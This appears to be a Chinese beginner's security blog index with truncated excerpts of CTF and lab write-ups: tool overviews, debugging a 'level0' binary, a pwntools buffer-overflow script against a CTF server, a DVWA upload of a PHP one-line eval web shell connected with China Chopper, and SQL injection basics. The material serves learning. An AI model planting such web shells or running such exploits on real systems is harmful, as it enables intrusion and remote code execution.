你的小粉丝的博客

今天新接触了许多软件，还有功能强大的虚拟机。虚拟机安装了全新的Linux系统1.nmapnmap可以实现：主机发现，端口扫描，版本侦测，操作系统侦测等功能2.sqlmap用来进行自动化检测，利用SQL注入漏洞，获取数据库服务器的权限。3.Burpsuite用于攻击web应用程序的集成平台，包含了许多工具利用火狐浏览器的FoxyProxy插件，进行4.hydra5.中国菜刀...

将level0文件拖入Ubuntu桌面打开终端：输入cd DESKtop/gdb level0开始运行start得到如图所示断点调试切换到Windows系统，用ida64打开level0找到main函数的地址，复制在Ubuntu终端下执行命令：b *0x+刚复制的地址执行结果如图：按r运行至断点处其他命令...

答主也是个小白，学长告诉我要用脚本，我也不会写，用的别人写好的脚本from pwn import *p= remote(‘111.198.29.45’,33907)elf=ELF(’./level0’)sysaddr=elf.symbols[‘callsystem’]payload=‘a’*(0x80+8)?+p64(sysaddr)p.recv()p.send(payload)p...

题目给了一个zip压缩包，解压后发现是一个二维码想着二维码可能会有些提示，用手机扫码后得到如下信息一看这就不是什么正儿八经的flag果断转换思路用HxD打开这个图片，查看十六进制开头如下：没有什么发现再看看结尾：想到了十六进制数转换十进制数经过初次尝试，128位的十六进制数直接转换肯定有问题常规思路按每两位数字截一下，再去转换，发现转换成的十进制数还是太小，十进制数对应的ASC...

第一关：注意上图中的红色字体路径…/表示上一级，这里有两个…/在网址处找到对应的上两级将hackable/uploads/1.php这个路径替换一下得到如下网页打开中国菜刀进行连接附件，一句话木马：<?php@eval($_POST['aaa']);?>...

之前的操作如上一篇https://blog.csdn.net/qq_43480081/article/details/96591612到文件上传时，发现了问题我们来进行抓包进行修改，查得如下：.html text/html.txt text/plain.gif image/gif.jpg image/jpeg...

这道题打开后是一个网页找到其中的正则表达式：/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/解题先来基本的知识储备按照学长的方法，将正则表达式进行拆分key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]key就是普通的字符.是除了换行的任意字符，假设就是a *匹配0或多个正则...

先了解一下数据库先登录账户，输入密码之后可以看到N个数据库打开数据库可以看到N个表每个表里还有N个字段除了用sql语句查看，当然也可以用MySQL等直接查看开始步入正题sql注入url处先尝试着输入?id=1;再尝试?id=2;...